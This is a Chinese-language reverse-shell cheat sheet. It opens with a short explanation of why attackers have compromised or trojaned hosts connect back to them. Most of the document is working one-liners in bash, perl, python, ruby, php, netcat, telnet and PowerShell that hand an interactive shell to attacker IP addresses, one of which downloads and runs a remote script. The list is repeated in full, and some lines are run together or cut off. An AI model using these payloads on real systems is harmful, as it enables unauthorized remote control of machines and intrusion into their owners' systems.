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反弹shell集锦
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1. 关于反弹shell
就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。
2. 反弹shell的原因
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面，web服务，ssh，telnet等等，都是正向连接。那么什么情况下正向连接不太好用了呢？
1）某客户机中了你的网马，但是它在局域网内，你直接连接不了。
2）它的ip会动态改变，你不能持续控制。
3）由于防火墙等限制，对方机器只能发送请求，不能接收请求。
4）对于病毒，木马，受害者什么时候能中招，对方的网络环境是什么样的，什么时候开关机，都是未知，所以建立一个服务端，让恶意程序主动连接，才是上策。
3.反弹shell集锦@bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
@/bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
@/bin/sh | nc 10.104.11.107 9007@perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9006");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
@perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
@perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9009");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'@python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
@python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.104.11.107',9013))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"@ruby -rsocket -e'f=TCPSocket.open("10.104.11.107",9009).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
@ruby -rsocket -e 'c=TCPSocket.new("10.104.11.107","9010");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
@ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.104.11.107","9011");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'@mknod backpipe p && telnet 173.214.173.151 8080 0backpipe@php -r '$sock=fsockopen("10.104.11.107",9012);exec("/bin/sh -i <&3 >&3 2>&3");'@rm -f /tmp/p; mknod /tmp/p p && nc 10.104.11.107 9008 0/tmp/
@rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f#本地监听两个端口,通过管道,一处输入,一处输出
@nc 10.104.11.107 1234|/bin/sh|nc 10.104.11.107 9999
@shell.py
@shell.pl
@shell2.pl1.perl -MIO -e '$p=fork;exit,if($p); $c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9002");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
2.rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.104.11.107 9003 >/tmp/f
3.mknod backpipe p && telnet 10.104.11.107 9005 0backpipe
4.perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9006");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
5./bin/sh | nc 10.104.11.107 9007
6.rm -f /tmp/p; mknod /tmp/p p && nc 10.104.11.107 9008 0/tmp/
7.ruby -rsocket -e 'c=TCPSocket.new("10.104.11.107","9010");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
8.ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.104.11.107","9011");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
9.python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.104.11.107',9013))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 1.1.1.1 -p -e cmd
@bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
@/bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
@/bin/sh | nc 10.104.11.107 9007@perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9006");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
@perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
@perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9009");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'@python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
@python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.104.11.107',9013))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"@ruby -rsocket -e'f=TCPSocket.open("10.104.11.107",9009).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
@ruby -rsocket -e 'c=TCPSocket.new("10.104.11.107","9010");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
@ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.104.11.107","9011");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'@mknod backpipe p && telnet 173.214.173.151 8080 0backpipe@php -r '$sock=fsockopen("10.104.11.107",9012);exec("/bin/sh -i <&3 >&3 2>&3");'@rm -f /tmp/p; mknod /tmp/p p && nc 10.104.11.107 9008 0/tmp/
@rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f#本地监听两个端口,通过管道,一处输入,一处输出
@nc 10.104.11.107 1234|/bin/sh|nc 10.104.11.107 9999
@shell.py
@shell.pl
@shell2.pl1.perl -MIO -e '$p=fork;exit,if($p); $c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9002");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
2.rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.104.11.107 9003 >/tmp/f
3.mknod backpipe p && telnet 10.104.11.107 9005 0backpipe
4.perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.104.11.107:9006");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
5./bin/sh | nc 10.104.11.107 9007
6.rm -f /tmp/p; mknod /tmp/p p && nc 10.104.11.107 9008 0/tmp/
7.ruby -rsocket -e 'c=TCPSocket.new("10.104.11.107","9010");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
8.ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.104.11.107","9011");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
9.python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.104.11.107',9013))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 1.1.1.1 -p -e cmd
